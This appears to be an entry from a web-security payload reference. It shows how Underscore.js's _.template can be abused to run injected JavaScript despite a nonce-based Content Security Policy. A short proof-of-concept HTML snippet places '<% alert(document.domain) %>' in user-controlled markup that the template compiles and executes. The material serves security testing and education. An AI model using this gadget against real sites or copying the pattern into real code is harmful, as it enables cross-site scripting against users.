Underscore.js is a utility-belt library for JavaScript that provides support for the usual functional suspects (each, map, reduce, filter…) without extending any core JavaScript objects.
The Underscore.js library allows you to execute JavaScript directly in the template. Since this has to be a valid raw template when reaching the _.template function, it has to be in an HTML text tag or passed directly as a function argument without reaching the DOM.
<!-- user input -->
<div id="template"><style><% alert(document.domain) %></style></div>
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.13.6/underscore-min.js"></script>
<script nonce="secret">
const template = document.getElementById("template").innerHTML;
const compiled = _.template(template);
document.getElementById("template").innerHTML = compiled({ name: "<h1>hello</h1>" });
</script>Related links: